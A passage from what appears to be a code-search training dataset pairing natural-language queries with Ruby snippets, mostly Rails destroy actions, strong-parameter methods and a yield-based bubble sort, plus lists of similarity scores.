:ok }\n end\n end", "def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @one = One.find(params[:id])\n @one.destroy\n\n respond_to do |format|\n format.html { redirect_to ones_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @chaine = Chaine.find(params[:id])\n @chaine.destroy\n\n respond_to do |format|\n format.html { redirect_to chaines_url }\n format.json { head :no_content }\n end\n end", "def api_delete(path, data = {})\n api_request(:delete, path, :data => data)\n end", "def destroy\n @server1 = Server1.find(params[:id])\n @server1.destroy\n\n respond_to do |format|\n format.html { redirect_to server1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mou.destroy\n respond_to do |format|\n format.html { redirect_to mous_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Post.delete(params[\"id\"])\n end", "def destroy\n @consensu = Consensu.find(params[:id])\n @consensu.destroy\n\n respond_to do |format|\n format.html { redirect_to consensus_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @jedi = Jedi.find(params[:id])\n @jedi.destroy\n\n respond_to do |format|\n format.html { redirect_to jedis_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @deco1.destroy\n respond_to do |format|\n format.html { redirect_to deco1s_url, notice: 'Deco1 was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @mi = Mi.find(params[:id])\n @mi.destroy\n\n respond_to do |format|\n format.html { redirect_to mis_url }\n format.json { head :ok }\n end\n end", "def delete(path)\n repository = path.split(/\\//)[2]\n objectid = path.split(/\\//)[3]\n if storage_fetch(repository, objectid) && storage_delete(repository, objectid)\n ['200', {}, []]\n else\n ['404', {}, [\"Repository #{repository} or ObjectID #{objectid} not found: #{path}\"]]\n end\n end", "def delete(path)\n request(:delete, path)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def delete\n url = prefix + \"delete\"\n return response(url)\n end", "def destroy\n @humanidades3 = Humanidades3.find(params[:id])\n @humanidades3.destroy\n\n respond_to do |format|\n format.html { redirect_to humanidades3s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @odeme_akademist = Odeme::Akademist.find(params[:id])\n @odeme_akademist.destroy\n\n respond_to do |format|\n format.html { redirect_to odeme_akademists_url }\n format.json { head :no_content }\n end\n end", "def delete\n end", "def destroy\n @mechenic.destroy\n respond_to do |format|\n format.html { redirect_to mechenics_url, notice: 'Mechenic was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n @client.destroy\n @uuid = params[:uuid]\n respond_to do |format|\n format.html { redirect_to :controller => 'ads', :action => 'admin_dash', :id => 1, :uuid => @uuid }\n format.json { head :no_content }\n end\n end", "def deletes_to(path,opts={},&block) #:nodoc: \n crud_to(:delete,path,opts[:params] || {},opts,&block)\n end", "def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @json.destroy\n respond_to do |format|\n format.html { redirect_to jsons_url, notice: 'Json was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def delete\n end", "def destroy\n @membrecium.destroy\n respond_to do |format|\n format.html { redirect_to membrecia_url, notice: 'Membrecia Eliminada Exitosamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @smp_referenz.destroy\n respond_to do |format|\n format.html { redirect_to smp_referenzs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meupedido.destroy\n respond_to do |format|\n format.html { redirect_to meupedidos_url, notice: 'Meupedido was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @informe = Informe.find(params[:id])\n @informe.destroy\n\n respond_to do |format|\n format.html { redirect_to informes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @diemtrentuyen = Diemtrentuyen.find(params[:id])\n @diemtrentuyen.destroy\n\n respond_to do |format|\n format.html { redirect_to diemtrentuyens_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @maturi.destroy\n respond_to do |format|\n format.html { redirect_to maturis_url, notice: 'Maturi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(*args)\n Request.delete(*args)\n end", "def delete\n api_client.delete(url)\n end" ]
[ "0.7084642", "0.68280876", "0.6794383", "0.6774974", "0.6748441", "0.66809237", "0.6584451", "0.65838003", "0.65753657", "0.65666705", "0.6556654", "0.6533802", "0.6501132", "0.64999586", "0.6495905", "0.6492152", "0.6465316", "0.6465316", "0.6463047", "0.6463047", "0.6463047", "0.6463047", "0.64504766", "0.64327586", "0.64310426", "0.6426141", "0.6419024", "0.63955057", "0.6394611", "0.6390725", "0.6390257", "0.63882303", "0.638789", "0.63757616", "0.63683546", "0.63593954", "0.63588256", "0.6358057", "0.6350792", "0.6347453", "0.63462937", "0.6344307", "0.63421917", "0.63369447", "0.6335575", "0.63323563", "0.6330004", "0.63271034", "0.6317606", "0.63145655", "0.63144004", "0.63016915", "0.6300682", "0.62980396", "0.6297165", "0.6294112", "0.62908906", "0.62903833", "0.6289419", "0.62886953", "0.62869", "0.62851137", "0.62840384", "0.6282795", "0.6279404", "0.6276802", "0.62708753", "0.627074", "0.62702775", "0.6269606", "0.62674403", "0.62664145", "0.6262646", "0.62618226", "0.62586176", "0.6254282", "0.6254282", "0.6249097", "0.62483114", "0.6245218", "0.6243289", "0.62403756", "0.6239824", "0.6237579", "0.6237579", "0.6237391", "0.6237391", "0.6237391", "0.6237391", "0.6237391", "0.6237391", "0.6237391", "0.62322015", "0.62313884", "0.6229312", "0.62289137", "0.62283987", "0.6227724", "0.6226082", "0.62225485" ]
0.67274433
5
Use callbacks to share common setup or constraints between actions.
def set_medecin @medecin = Medecin.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def medecin_params params.require(:medecin).permit(:nom, :lieu, :specialite) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
USING YIELD AND A BLOCK TO SORT
def bubble_sort_by(array_to_sort) size = array_to_sort.length puts "array to sort: " p array_to_sort for i in 0..size-1 for index in 0..size-2 left = array_to_sort[index] right = array_to_sort[index + 1] if yield(left, right) > 0 temp_item = array_to_sort[index] array_to_sort[index] = array_to_sort[index + 1] array_to_sort[index + 1] = temp_item end end end puts 'sorted using yield block' p array_to_sort end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
